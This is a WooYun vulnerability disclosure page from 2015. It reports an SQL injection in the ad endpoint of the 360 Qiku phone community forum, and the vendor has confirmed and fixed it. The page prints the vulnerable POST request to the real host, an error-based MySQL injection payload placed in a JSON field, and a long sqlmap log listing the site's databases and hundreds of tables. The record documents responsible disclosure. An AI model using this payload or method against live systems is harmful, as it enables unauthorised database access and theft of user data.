当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141571

漏洞标题：360奇酷手机某站SQL注入影响数十万用户

相关厂商：奇虎360

漏洞作者： 路人甲

提交时间：2015-09-16 15:29

修复时间：2015-10-31 22:00

公开时间：2015-10-31 22:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-16： 细节已通知厂商并且等待厂商处理中
2015-09-16： 厂商已经确认，细节仅向厂商公开
2015-09-26： 细节向核心白帽子及相关领域专家公开
2015-10-06： 细节向普通白帽子公开
2015-10-16： 细节向实习白帽子公开
2015-10-31： 细节向公众公开

简要描述：

360奇酷手机某站SQL注入影响数十万用户

详细说明：

360奇酷手机论坛所有用户帐号可被拖库

POST /adv/newimg.php?ver=2.0.0&mid=null&net=4&uid=&src=奇酷社区 HTTP/1.1
Content-Length: 205
Content-Type: application/x-www-form-urlencoded
Host: adv.qiku.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
advert={"product":"8681-M02*","height":300,"width":720,"page":0,"number":5,"version":"2.0.0","resolution":1080,"network":"wifi"}


sqlmap identified the following injection point(s) with a total of 28 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: advert={"product":"8681-M02' AND (SELECT 4577 FROM(SELECT COUNT(*),CONCAT(0x716a627871,(SELECT (ELT(4577=4577,1))),0x7171706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'HnuZ'='HnuZ","height":300,"width":720,"page":0,"number":5,"version":"2.0.0","resolution":1080,"network":"wifi"}
---
web application technology: Nginx, PHP 5.5.10
back-end DBMS: MySQL 5.0

漏洞证明：

available databases [3]:
[*] information_schema
[*] qiku_bbs_cmb
[*] test


[14:57:55] [INFO] fetching tables for database: 'qiku_bbs_cmb'
[14:57:55] [WARNING] reflective value(s) found and filtering out
[14:57:55] [INFO] the SQL query used returns 482 entries
[14:57:55] [INFO] retrieved: adv
[14:57:56] [INFO] retrieved: adv_analysis
[14:57:56] [INFO] retrieved: adv_click_history
[14:57:56] [INFO] retrieved: adv_client_white
[14:57:56] [INFO] retrieved: adv_detail
[14:57:56] [INFO] retrieved: adv_fcover
[14:57:56] [INFO] retrieved: adv_operator
[14:57:56] [INFO] retrieved: adv_phone_type
[14:57:56] [INFO] retrieved: adv_type
[14:57:56] [INFO] retrieved: app_banner
[14:57:56] [INFO] retrieved: app_list
[14:57:57] [INFO] retrieved: app_list_pics
[14:57:57] [INFO] retrieved: client_adv_history
[14:57:57] [INFO] retrieved: client_adv_history_114
[14:57:57] [INFO] retrieved: client_adv_history_132
[14:57:59] [INFO] retrieved: client_adv_history_134
[14:57:59] [INFO] retrieved: client_adv_history_159
[14:57:59] [INFO] retrieved: client_adv_history_53
[14:57:59] [INFO] retrieved: client_adv_history_61
[14:57:59] [INFO] retrieved: client_adv_history_62
[14:57:59] [INFO] retrieved: client_adv_history_71
[14:58:00] [INFO] retrieved: client_adv_history_72
[14:58:00] [INFO] retrieved: client_info
[14:58:00] [INFO] retrieved: menus
[14:58:00] [INFO] retrieved: new_table
[14:58:00] [INFO] retrieved: pre_act_grant_code
[14:58:00] [INFO] retrieved: pre_app_suggest_forum
[14:58:00] [INFO] retrieved: pre_banner_block_fid
[14:58:00] [INFO] retrieved: pre_banner_block_jarpackage
[14:58:00] [INFO] retrieved: pre_banner_block_severalfid
[14:58:00] [INFO] retrieved: pre_banner_block_webview_url
[14:58:00] [INFO] retrieved: pre_beauty_info
[14:58:01] [INFO] retrieved: pre_beauty_poll_history
[14:58:01] [INFO] retrieved: pre_beauty_user_votes
[14:58:01] [INFO] retrieved: pre_bug_forum
[14:58:01] [INFO] retrieved: pre_bug_info
[14:58:01] [INFO] retrieved: pre_bug_module
[14:58:01] [INFO] retrieved: pre_bug_product
[14:58:01] [INFO] retrieved: pre_bug_repeat_type
[14:58:01] [INFO] retrieved: pre_bug_rom
[14:58:01] [INFO] retrieved: pre_bug_status_history
[14:58:04] [INFO] retrieved: pre_bug_status_type
[14:58:05] [INFO] retrieved: pre_bug_tfs_type
[14:58:05] [INFO] retrieved: pre_bug_usermeet
[14:58:05] [INFO] retrieved: pre_buglist_version
[14:58:05] [INFO] retrieved: pre_common_addon
[14:58:05] [INFO] retrieved: pre_common_admincp_cmenu
[14:58:05] [INFO] retrieved: pre_common_admincp_group
[14:58:05] [INFO] retrieved: pre_common_admincp_member
[14:58:05] [INFO] retrieved: pre_common_admincp_perm
[14:58:05] [INFO] retrieved: pre_common_admincp_session
[14:58:05] [INFO] retrieved: pre_common_admingroup
[14:58:05] [INFO] retrieved: pre_common_adminnote
[14:58:06] [INFO] retrieved: pre_common_advertisement
[14:58:06] [INFO] retrieved: pre_common_advertisement_custom
[14:58:06] [INFO] retrieved: pre_common_banned
[14:58:06] [INFO] retrieved: pre_common_block
[14:58:06] [INFO] retrieved: pre_common_block_favorite
[14:58:06] [INFO] retrieved: pre_common_block_item
[14:58:06] [INFO] retrieved: pre_common_block_item_data
[14:58:06] [INFO] retrieved: pre_common_block_permission
[14:58:09] [INFO] retrieved: pre_common_block_pic
[14:58:09] [INFO] retrieved: pre_common_block_style
[14:58:10] [INFO] retrieved: pre_common_block_xml
[14:58:10] [INFO] retrieved: pre_common_cache
[14:58:10] [INFO] retrieved: pre_common_card
[14:58:10] [INFO] retrieved: pre_common_card_log
[14:58:10] [INFO] retrieved: pre_common_card_type
[14:58:10] [INFO] retrieved: pre_common_connect_guest
[14:58:10] [INFO] retrieved: pre_common_credit_log
[14:58:10] [INFO] retrieved: pre_common_credit_log_field
[14:58:10] [INFO] retrieved: pre_common_credit_rule
[14:58:10] [INFO] retrieved: pre_common_credit_rule_log
[14:58:11] [INFO] retrieved: pre_common_credit_rule_log_field
[14:58:14] [INFO] retrieved: pre_common_cron
[14:58:14] [INFO] retrieved: pre_common_devicetoken
[14:58:14] [INFO] retrieved: pre_common_district
[14:58:14] [INFO] retrieved: pre_common_diy_data
[14:58:14] [INFO] retrieved: pre_common_domain
[14:58:14] [INFO] retrieved: pre_common_failedip
[14:58:14] [INFO] retrieved: pre_common_failedlogin
[14:58:14] [INFO] retrieved: pre_common_friendlink
[14:58:14] [INFO] retrieved: pre_common_grouppm
[14:58:15] [INFO] retrieved: pre_common_invite
[14:58:15] [INFO] retrieved: pre_common_magic
[14:58:15] [INFO] retrieved: pre_common_magiclog
[14:58:15] [INFO] retrieved: pre_common_mailcron
[14:58:15] [INFO] retrieved: pre_common_mailqueue
[14:58:15] [INFO] retrieved: pre_common_member
[14:58:15] [INFO] retrieved: pre_common_member_action_log
[14:58:15] [INFO] retrieved: pre_common_member_archive
[14:58:15] [INFO] retrieved: pre_common_member_connect
[14:58:18] [INFO] retrieved: pre_common_member_count
[14:58:19] [INFO] retrieved: pre_common_member_count_archive
[14:58:19] [INFO] retrieved: pre_common_member_crime
[14:58:19] [INFO] retrieved: pre_common_member_field_forum
[14:58:19] [INFO] retrieved: pre_common_member_field_forum_archive
[14:58:19] [INFO] retrieved: pre_common_member_field_home
[14:58:19] [INFO] retrieved: pre_common_member_field_home_archive
[14:58:19] [INFO] retrieved: pre_common_member_forum_buylog
[14:58:19] [INFO] retrieved: pre_common_member_grouppm
[14:58:19] [INFO] retrieved: pre_common_member_log
[14:58:19] [INFO] retrieved: pre_common_member_magic
[14:58:20] [INFO] retrieved: pre_common_member_medal
[14:58:20] [INFO] retrieved: pre_common_member_move
[14:58:20] [INFO] retrieved: pre_common_member_move_archive
[14:58:20] [INFO] retrieved: pre_common_member_newprompt
[14:58:20] [INFO] retrieved: pre_common_member_profile
[14:58:20] [INFO] retrieved: pre_common_member_profile_archive
[14:58:20] [INFO] retrieved: pre_common_member_profile_setting
[14:58:23] [INFO] retrieved: pre_common_member_security
[14:58:23] [INFO] retrieved: pre_common_member_secwhite
[14:58:24] [INFO] retrieved: pre_common_member_stat_field
[14:58:24] [INFO] retrieved: pre_common_member_stat_fieldcache
[14:58:24] [INFO] retrieved: pre_common_member_stat_search
[14:58:24] [INFO] retrieved: pre_common_member_stat_searchcache
[14:58:24] [INFO] retrieved: pre_common_member_status
[14:58:24] [INFO] retrieved: pre_common_member_status_archive
[14:58:24] [INFO] retrieved: pre_common_member_validate
[14:58:24] [INFO] retrieved: pre_common_member_verify
[14:58:24] [INFO] retrieved: pre_common_member_verify_info
[14:58:24] [INFO] retrieved: pre_common_moderate
[14:58:25] [INFO] retrieved: pre_common_myapp
[14:58:25] [INFO] retrieved: pre_common_myinvite
[14:58:25] [INFO] retrieved: pre_common_mytask
[14:58:25] [INFO] retrieved: pre_common_nav
[14:58:25] [INFO] retrieved: pre_common_onlinetime
[14:58:25] [INFO] retrieved: pre_common_optimizer
[14:58:25] [INFO] retrieved: pre_common_patch
[14:58:25] [INFO] retrieved: pre_common_plugin
[14:58:25] [INFO] retrieved: pre_common_pluginvar
[14:58:28] [INFO] retrieved: pre_common_process
[14:58:29] [INFO] retrieved: pre_common_regip
[14:58:29] [INFO] retrieved: pre_common_relatedlink
[14:58:29] [INFO] retrieved: pre_common_remote_port
[14:58:29] [INFO] retrieved: pre_common_report
[14:58:29] [INFO] retrieved: pre_common_searchindex
[14:58:29] [INFO] retrieved: pre_common_seccheck
[14:58:29] [INFO] retrieved: pre_common_secquestion
[14:58:29] [INFO] retrieved: pre_common_session
[14:58:29] [INFO] retrieved: pre_common_setting
[14:58:29] [INFO] retrieved: pre_common_smiley
[14:58:30] [INFO] retrieved: pre_common_sphinxcounter
[14:58:30] [INFO] retrieved: pre_common_stat
[14:58:30] [INFO] retrieved: pre_common_statuser
[14:58:30] [INFO] retrieved: pre_common_style
[14:58:30] [INFO] retrieved: pre_common_stylevar
[14:58:30] [INFO] retrieved: pre_common_syscache
[14:58:30] [INFO] retrieved: pre_common_tag
[14:58:30] [INFO] retrieved: pre_common_tagitem
[14:58:30] [INFO] retrieved: pre_common_task
[14:58:33] [INFO] retrieved: pre_common_taskvar
[14:58:34] [INFO] retrieved: pre_common_template
[14:58:34] [INFO] retrieved: pre_common_template_block
[14:58:34] [INFO] retrieved: pre_common_template_permission
[14:58:34] [INFO] retrieved: pre_common_uin_black
[14:58:34] [INFO] retrieved: pre_common_usergroup
[14:58:34] [INFO] retrieved: pre_common_usergroup_field
[14:58:34] [INFO] retrieved: pre_common_visit
[14:58:34] [INFO] retrieved: pre_common_word
[14:58:34] [INFO] retrieved: pre_common_word_type
[14:58:34] [INFO] retrieved: pre_connect_disktask
[14:58:34] [INFO] retrieved: pre_connect_feedlog
[14:58:35] [INFO] retrieved: pre_connect_memberbindlog
[14:58:35] [INFO] retrieved: pre_connect_postfeedlog
[14:58:35] [INFO] retrieved: pre_connect_tlog
[14:58:35] [INFO] retrieved: pre_connect_tthreadlog
[14:58:35] [INFO] retrieved: pre_coolpad_act_thread
[14:58:35] [INFO] retrieved: pre_coolpad_apk_create_post_cost
[14:58:35] [INFO] retrieved: pre_coolpad_apk_forum_cost
[14:58:38] [INFO] retrieved: pre_coolpad_apk_forum_post_cost
[14:58:38] [INFO] retrieved: pre_coolpad_apk_forum_status
[14:58:39] [INFO] retrieved: pre_coolpad_apk_login_cost
[14:58:39] [INFO] retrieved: pre_coolpad_apk_portal_cost
[14:58:39] [INFO] retrieved: pre_coolpad_apk_task_thread
[14:58:39] [INFO] retrieved: pre_coolpad_apk_upload_image_cost
[14:58:39] [INFO] retrieved: pre_coolpad_block_calltype
[14:58:39] [INFO] retrieved: pre_coolpad_block_forum_apk
[14:58:39] [INFO] retrieved: pre_coolpad_blockinfo_apk
[14:58:39] [INFO] retrieved: pre_coolpad_cq_module
[14:58:39] [INFO] retrieved: pre_coolpad_depart
[14:58:39] [INFO] retrieved: pre_coolpad_depart_group
[14:58:39] [INFO] retrieved: pre_coolpad_email_staffer
[14:58:40] [INFO] retrieved: pre_coolpad_forum_classfy_principal
[14:58:40] [INFO] retrieved: pre_coolpad_foruminfo_apk
[14:58:40] [INFO] retrieved: pre_coolpad_forumlist_apk
[14:58:40] [INFO] retrieved: pre_coolpad_loginapk_record
[14:58:40] [INFO] retrieved: pre_coolpad_mobileindex
[14:58:40] [INFO] retrieved: pre_coolpad_mobileindex_img
[14:58:40] [INFO] retrieved: pre_coolpad_module
[14:58:40] [INFO] retrieved: pre_coolpad_module_extend
[14:58:40] [INFO] retrieved: pre_coolpad_openapk_record
[14:58:41] [INFO] retrieved: pre_coolpad_pcindex
[14:58:44] [INFO] retrieved: pre_coolpad_principal_tag
[14:58:44] [INFO] retrieved: pre_coolpad_product
[14:58:44] [INFO] retrieved: pre_coolpad_quotation
[14:58:44] [INFO] retrieved: pre_coolpad_quotation_good_user_0
[14:58:44] [INFO] retrieved: pre_coolpad_quotation_good_user_1
[14:58:44] [INFO] retrieved: pre_coolpad_quotation_good_user_2
[14:58:44] [INFO] retrieved: pre_coolpad_quotation_good_user_3
[14:58:45] [INFO] retrieved: pre_coolpad_quotation_good_user_4
[14:58:45] [INFO] retrieved: pre_coolpad_register_record
[14:58:45] [INFO] retrieved: pre_coolpad_register_record_log
[14:58:45] [INFO] retrieved: pre_coolpad_register_req_record_log
[14:58:45] [INFO] retrieved: pre_coolpad_reply_roles
[14:58:45] [INFO] retrieved: pre_coolpad_service_module
[14:58:45] [INFO] retrieved: pre_coolpad_serviceid
[14:58:45] [INFO] retrieved: pre_coolpad_statistics_apk
[14:58:45] [INFO] retrieved: pre_coolpad_tag
[14:58:45] [INFO] retrieved: pre_coolpad_tag_history
[14:58:49] [INFO] retrieved: pre_coolpad_temporary_actuser
[14:58:49] [INFO] retrieved: pre_coolpad_temporary_apkversion
[14:58:49] [INFO] retrieved: pre_coolpad_temporary_firstreply
[14:58:49] [INFO] retrieved: pre_coolpad_temporary_postnum
[14:58:49] [INFO] retrieved: pre_coolpad_temporary_postuid
[14:58:49] [INFO] retrieved: pre_coolpad_temporary_replyuid
[14:58:49] [INFO] retrieved: pre_coolpad_temporary_shendian
[14:58:49] [INFO] retrieved: pre_coolpad_temporary_subjectuid
[14:58:50] [INFO] retrieved: pre_coolpad_temporary_threadclassify
[14:58:50] [INFO] retrieved: pre_coolpad_temporary_threadreply
[14:58:50] [INFO] retrieved: pre_coolpad_temporary_zerothread
[14:58:50] [INFO] retrieved: pre_coolpad_thread_classfy
[14:58:50] [INFO] retrieved: pre_coolpad_thread_classify_record
[14:58:50] [INFO] retrieved: pre_coolpad_thread_doing
[14:58:50] [INFO] retrieved: pre_coolpad_thread_record
[14:58:53] [INFO] retrieved: pre_coolpad_thread_replied
[14:58:53] [INFO] retrieved: pre_coolpad_thread_reply_record
[14:58:54] [INFO] retrieved: pre_coolpad_thread_tag
[14:58:54] [INFO] retrieved: pre_coolpad_thread_unclassified
[14:58:54] [INFO] retrieved: pre_coolpad_thread_unreply
[14:58:54] [INFO] retrieved: pre_coolpad_version_to_tid
[14:58:54] [INFO] retrieved: pre_coolpy_act_forum
[14:58:54] [INFO] retrieved: pre_coolpy_forum_attachment
[14:58:54] [INFO] retrieved: pre_coolpy_forum_attachment_0
[14:58:54] [INFO] retrieved: pre_coolpy_forum_attachment_1
[14:58:54] [INFO] retrieved: pre_coolpy_forum_attachment_2
[14:58:54] [INFO] retrieved: pre_coolpy_forum_attachment_3
[14:58:55] [INFO] retrieved: pre_coolpy_forum_attachment_4
[14:58:55] [INFO] retrieved: pre_coolpy_forum_post
[14:58:55] [INFO] retrieved: pre_coolpy_forum_statistics
[14:58:55] [INFO] retrieved: pre_coolpy_forum_thread
[14:58:55] [INFO] retrieved: pre_coolpy_forum_thread_null
[14:58:55] [INFO] retrieved: pre_coolpy_frontcover
[14:58:55] [INFO] retrieved: pre_coolpy_laud_list
[14:58:55] [INFO] retrieved: pre_coolpy_popule
[14:58:58] [INFO] retrieved: pre_coolpy_report
[14:58:59] [INFO] retrieved: pre_coolpy_report_record
[14:58:59] [INFO] retrieved: pre_coolpy_special_act
[14:58:59] [INFO] retrieved: pre_coolpy_tag
[14:58:59] [INFO] retrieved: pre_coolpy_tag_thread
[14:58:59] [INFO] retrieved: pre_coolpy_thread_fans
[14:58:59] [INFO] retrieved: pre_dsu_paulsign
[14:58:59] [INFO] retrieved: pre_dsu_paulsign_apk
[14:58:59] [INFO] retrieved: pre_dsu_paulsign_record_apk
[14:58:59] [INFO] retrieved: pre_dsu_paulsignemot
[14:58:59] [INFO] retrieved: pre_dsu_paulsignset
[14:58:59] [INFO] retrieved: pre_forum_access
[14:59:00] [INFO] retrieved: pre_forum_activity
[14:59:00] [INFO] retrieved: pre_forum_activityapply
[14:59:00] [INFO] retrieved: pre_forum_announcement
[14:59:00] [INFO] retrieved: pre_forum_attachment
[14:59:00] [INFO] retrieved: pre_forum_attachment_0
[14:59:00] [INFO] retrieved: pre_forum_attachment_1
[14:59:00] [INFO] retrieved: pre_forum_attachment_2
[14:59:00] [INFO] retrieved: pre_forum_attachment_3
[14:59:00] [INFO] retrieved: pre_forum_attachment_4
[14:59:00] [INFO] retrieved: pre_forum_attachment_5
[14:59:04] [INFO] retrieved: pre_forum_attachment_6
[14:59:04] [INFO] retrieved: pre_forum_attachment_7
[14:59:04] [INFO] retrieved: pre_forum_attachment_8
[14:59:04] [INFO] retrieved: pre_forum_attachment_9
[14:59:04] [INFO] retrieved: pre_forum_attachment_exif
[14:59:04] [INFO] retrieved: pre_forum_attachment_unused
[14:59:04] [INFO] retrieved: pre_forum_attachtype
[14:59:04] [INFO] retrieved: pre_forum_bbcode
[14:59:04] [INFO] retrieved: pre_forum_collection
[14:59:04] [INFO] retrieved: pre_forum_collectioncomment
[14:59:05] [INFO] retrieved: pre_forum_collectionfollow
[14:59:05] [INFO] retrieved: pre_forum_collectioninvite
[14:59:05] [INFO] retrieved: pre_forum_collectionrelated
[14:59:05] [INFO] retrieved: pre_forum_collectionteamworker
[14:59:05] [INFO] retrieved: pre_forum_collectionthread
[14:59:05] [INFO] retrieved: pre_forum_creditslog
[14:59:05] [INFO] retrieved: pre_forum_debate
[14:59:05] [INFO] retrieved: pre_forum_debatepost
[14:59:05] [INFO] retrieved: pre_forum_faq
[14:59:05] [INFO] retrieved: pre_forum_filter_post
[14:59:09] [INFO] retrieved: pre_forum_forum
[14:59:09] [INFO] retrieved: pre_forum_forum_threadtable
[14:59:09] [INFO] retrieved: pre_forum_forumfield
[14:59:09] [INFO] retrieved: pre_forum_forumrecommend
[14:59:09] [INFO] retrieved: pre_forum_groupcreditslog
[14:59:09] [INFO] retrieved: pre_forum_groupfield
[14:59:09] [INFO] retrieved: pre_forum_groupinvite
[14:59:09] [INFO] retrieved: pre_forum_grouplevel
[14:59:09] [INFO] retrieved: pre_forum_groupranking
[14:59:09] [INFO] retrieved: pre_forum_groupuser
[14:59:10] [INFO] retrieved: pre_forum_hotreply_member
[14:59:10] [INFO] retrieved: pre_forum_hotreply_number
[14:59:10] [INFO] retrieved: pre_forum_imagetype
[14:59:10] [INFO] retrieved: pre_forum_medal
[14:59:10] [INFO] retrieved: pre_forum_medallog
[14:59:10] [INFO] retrieved: pre_forum_memberrecommend
[14:59:10] [INFO] retrieved: pre_forum_moderator
[14:59:10] [INFO] retrieved: pre_forum_modwork
[14:59:10] [INFO] retrieved: pre_forum_newthread
[14:59:10] [INFO] retrieved: pre_forum_onlinelist
[14:59:10] [INFO] retrieved: pre_forum_optionvalue1
[14:59:11] [INFO] retrieved: pre_forum_optionvalue2
[14:59:11] [INFO] retrieved: pre_forum_optionvalue3
[14:59:14] [INFO] retrieved: pre_forum_optionvalue4
[14:59:14] [INFO] retrieved: pre_forum_optionvalue5
[14:59:14] [INFO] retrieved: pre_forum_optionvalue6
[14:59:14] [INFO] retrieved: pre_forum_optionvalue7
[14:59:14] [INFO] retrieved: pre_forum_optionvalue8
[14:59:14] [INFO] retrieved: pre_forum_optionvalue9
[14:59:14] [INFO] retrieved: pre_forum_order
[14:59:15] [INFO] retrieved: pre_forum_poll
[14:59:15] [INFO] retrieved: pre_forum_polloption
[14:59:15] [INFO] retrieved: pre_forum_polloption_image
[14:59:15] [INFO] retrieved: pre_forum_pollvoter
[14:59:15] [INFO] retrieved: pre_forum_post
[14:59:15] [INFO] retrieved: pre_forum_post_location
[14:59:15] [INFO] retrieved: pre_forum_post_moderate
[14:59:15] [INFO] retrieved: pre_forum_post_tableid
[14:59:15] [INFO] retrieved: pre_forum_postcache
[14:59:15] [INFO] retrieved: pre_forum_postcomment
[14:59:15] [INFO] retrieved: pre_forum_postlog
[14:59:16] [INFO] retrieved: pre_forum_postposition
[14:59:16] [INFO] retrieved: pre_forum_poststick
[14:59:16] [INFO] retrieved: pre_forum_promotion
[14:59:16] [INFO] retrieved: pre_forum_ratelog
[14:59:16] [INFO] retrieved: pre_forum_recommend
[14:59:16] [INFO] retrieved: pre_forum_relatedthread
[14:59:16] [INFO] retrieved: pre_forum_replycredit
[14:59:19] [INFO] retrieved: pre_forum_rsscache
[14:59:19] [INFO] retrieved: pre_forum_sofa
[14:59:20] [INFO] retrieved: pre_forum_spacecache
[14:59:20] [INFO] retrieved: pre_forum_statlog
[14:59:20] [INFO] retrieved: pre_forum_thread
[14:59:20] [INFO] retrieved: pre_forum_thread_moderate
[14:59:20] [INFO] retrieved: pre_forum_threadaddviews
[14:59:20] [INFO] retrieved: pre_forum_threadcalendar
[14:59:20] [INFO] retrieved: pre_forum_threadclass
[14:59:20] [INFO] retrieved: pre_forum_threadclosed
[14:59:20] [INFO] retrieved: pre_forum_threaddisablepos
[14:59:20] [INFO] retrieved: pre_forum_threadhidelog
[14:59:20] [INFO] retrieved: pre_forum_threadhot
[14:59:21] [INFO] retrieved: pre_forum_threadimage
[14:59:21] [INFO] retrieved: pre_forum_threadlog
[14:59:21] [INFO] retrieved: pre_forum_threadmod
[14:59:21] [INFO] retrieved: pre_forum_threadpartake
[14:59:21] [INFO] retrieved: pre_forum_threadpreview
[14:59:21] [INFO] retrieved: pre_forum_threadprofile
[14:59:21] [INFO] retrieved: pre_forum_threadprofile_group
[14:59:21] [INFO] retrieved: pre_forum_threadrush
[14:59:21] [INFO] retrieved: pre_forum_threadtype
[14:59:21] [INFO] retrieved: pre_forum_trade
[14:59:22] [INFO] retrieved: pre_forum_tradecomment
[14:59:22] [INFO] retrieved: pre_forum_tradelog
[14:59:22] [INFO] retrieved: pre_forum_typeoption
[14:59:22] [INFO] retrieved: pre_forum_typeoptionvar
[14:59:22] [INFO] retrieved: pre_forum_typevar
[14:59:22] [INFO] retrieved: pre_forum_warning
[14:59:22] [INFO] retrieved: pre_get_authcode_record
[14:59:22] [INFO] retrieved: pre_get_authcode_record_log
[14:59:22] [INFO] retrieved: pre_get_authcode_req_log
[14:59:22] [INFO] retrieved: pre_home_album
[14:59:22] [INFO] retrieved: pre_home_album_category
[14:59:23] [INFO] retrieved: pre_home_appcreditlog
[14:59:23] [INFO] retrieved: pre_home_blacklist
[14:59:23] [INFO] retrieved: pre_home_blog
[14:59:23] [INFO] retrieved: pre_home_blog_category
[14:59:23] [INFO] retrieved: pre_home_blog_moderate
[14:59:23] [INFO] retrieved: pre_home_blogfield
[14:59:23] [INFO] retrieved: pre_home_class
[14:59:23] [INFO] retrieved: pre_home_click
[14:59:23] [INFO] retrieved: pre_home_clickuser
[14:59:27] [INFO] retrieved: pre_home_comment
[14:59:27] [INFO] retrieved: pre_home_comment_moderate
[14:59:27] [INFO] retrieved: pre_home_docomment
[14:59:27] [INFO] retrieved: pre_home_doing
[14:59:27] [INFO] retrieved: pre_home_doing_moderate
[14:59:27] [INFO] retrieved: pre_home_favorite
[14:59:27] [INFO] retrieved: pre_home_feed
[14:59:27] [INFO] retrieved: pre_home_feed_app
[14:59:27] [INFO] retrieved: pre_home_follow
[14:59:27] [INFO] retrieved: pre_home_follow_feed
[14:59:28] [INFO] retrieved: pre_home_follow_feed_archiver
[14:59:28] [INFO] retrieved: pre_home_friend
[14:59:28] [INFO] retrieved: pre_home_friend_request
[14:59:28] [INFO] retrieved: pre_home_friendlog
[14:59:28] [INFO] retrieved: pre_home_notification
[14:59:28] [INFO] retrieved: pre_home_pic
[14:59:28] [INFO] retrieved: pre_home_pic_moderate
[14:59:28] [INFO] retrieved: pre_home_picfield
[14:59:29] [INFO] retrieved: pre_home_poke
[14:59:29] [INFO] retrieved: pre_home_pokearchive
[14:59:29] [INFO] retrieved: pre_home_share
[14:59:29] [INFO] retrieved: pre_home_share_moderate
[14:59:29] [INFO] retrieved: pre_home_show
[14:59:29] [INFO] retrieved: pre_home_specialuser
[14:59:29] [INFO] retrieved: pre_home_userapp
[14:59:29] [INFO] retrieved: pre_home_userapp_plying
[14:59:29] [INFO] retrieved: pre_home_userappfield
[14:59:30] [INFO] retrieved: pre_home_visitor
[14:59:30] [INFO] retrieved: pre_hux_wx
[14:59:30] [INFO] retrieved: pre_hux_wx_action
[14:59:30] [INFO] retrieved: pre_hux_wx_config
[14:59:30] [INFO] retrieved: pre_hux_wx_userjp
[14:59:30] [INFO] retrieved: pre_mobile_setting
[14:59:30] [INFO] retrieved: pre_mobile_wsq_threadlist
[14:59:30] [INFO] retrieved: pre_mobileoem_member
[14:59:30] [INFO] retrieved: pre_mobileoem_pushthreads
[14:59:30] [INFO] retrieved: pre_myvipregister
[14:59:30] [INFO] retrieved: pre_myvipregister_getauthcode
[14:59:31] [INFO] retrieved: pre_os_special_member
[14:59:31] [INFO] retrieved: pre_plugin_bbs_push
[14:59:34] [INFO] retrieved: pre_plugin_bbs_shield
[14:59:34] [INFO] retrieved: pre_pool_thread
[14:59:34] [INFO] retrieved: pre_pools
[14:59:34] [INFO] retrieved: pre_portal_article_content
[14:59:34] [INFO] retrieved: pre_portal_article_count
[14:59:34] [INFO] retrieved: pre_portal_article_moderate
[14:59:34] [INFO] retrieved: pre_portal_article_related
[14:59:35] [INFO] retrieved: pre_portal_article_title
[14:59:35] [INFO] retrieved: pre_portal_article_trash
[14:59:35] [INFO] retrieved: pre_portal_attachment
[14:59:35] [INFO] retrieved: pre_portal_category
[14:59:35] [INFO] retrieved: pre_portal_category_permission
[14:59:36] [INFO] retrieved: pre_portal_comment
[14:59:37] [INFO] retrieved: pre_portal_comment_moderate
[14:59:38] [INFO] retrieved: pre_portal_rsscache
[14:59:43] [INFO] retrieved: pre_portal_topic
[14:59:43] [INFO] retrieved: pre_portal_topic_pic
[14:59:43] [INFO] retrieved: pre_product_sets
[14:59:43] [INFO] retrieved: pre_report_module
[14:59:43] [INFO] retrieved: pre_report_phonetype
[14:59:43] [INFO] retrieved: pre_report_r2t2u
[14:59:44] [INFO] retrieved: pre_report_record_
[14:59:45] [INFO] retrieved: pre_report_record_1
[14:59:45] [INFO] retrieved: pre_report_record_10
[14:59:45] [INFO] retrieved: pre_report_record_11
[14:59:46] [INFO] retrieved: pre_report_record_12
[14:59:51] [INFO] retrieved: pre_report_record_13
[14:59:51] [INFO] retrieved: pre_report_record_14
[14:59:51] [INFO] retrieved: pre_report_record_2
[14:59:51] [INFO] retrieved: pre_report_record_3
[14:59:51] [INFO] retrieved: pre_report_record_4
[14:59:55] [INFO] retrieved: pre_report_record_5
[14:59:55] [INFO] retrieved: pre_report_record_6
[14:59:55] [INFO] retrieved: pre_report_record_7
[14:59:55] [INFO] retrieved: pre_report_record_8
[14:59:55] [INFO] retrieved: pre_report_record_9
[14:59:55] [INFO] retrieved: pre_report_rep2tem
[14:59:55] [INFO] retrieved: pre_report_report
[14:59:55] [INFO] retrieved: pre_report_template
[14:59:55] [INFO] retrieved: pre_report_updatepoint
[14:59:55] [INFO] retrieved: pre_report_userinfo
[14:59:55] [INFO] retrieved: pre_report_ver2phtype
[14:59:56] [INFO] retrieved: pre_report_version
[14:59:56] [INFO] retrieved: pre_search_app_keyword
[14:59:56] [INFO] retrieved: pre_search_app_thread
[14:59:56] [INFO] retrieved: pre_security_evilpost
[14:59:56] [INFO] retrieved: pre_security_eviluser
[14:59:56] [INFO] retrieved: pre_security_failedlog
[14:59:56] [INFO] retrieved: pre_set_sumory
[14:59:56] [INFO] retrieved: pre_set_thread
[14:59:57] [INFO] retrieved: pre_set_thread_history
[14:59:57] [INFO] retrieved: pre_sets
[14:59:57] [INFO] retrieved: pre_sets_pictureconfig
[14:59:57] [INFO] retrieved: pre_thread_filter
[14:59:57] [INFO] retrieved: pre_tmp_conforence_users
[14:59:57] [INFO] retrieved: pre_xwb_bind_info
[15:00:00] [INFO] retrieved: pre_xwb_bind_thread
[15:00:00] [INFO] retrieved: pre_xwb_session
[15:00:01] [INFO] retrieved: sph_counter
[15:00:01] [INFO] retrieved: t1
[15:00:01] [INFO] retrieved: t2
[15:00:01] [INFO] retrieved: tb_yl_reply_roles
[15:00:01] [INFO] retrieved: tb_yl_staffer
[15:00:01] [INFO] retrieved: users

修复方案：

其它未深入，没有测试获取用户数据，请尽快修复

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-09-16 21:58

厂商回复：

感谢白帽子发现此安全漏洞，该漏洞为社区网站漏洞，并非商城，仅涉及到漏洞的帖子内容，并没有用户的个人资料，但我们仍然非常重视该漏洞，并已第一时间修复。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-09-16 15:37 | ShAdow丶 ( 实习白帽子 | Rank:76 漏洞数:11 | i am a fans of kimYeWon.)

    买着买着手机就找到注入了。

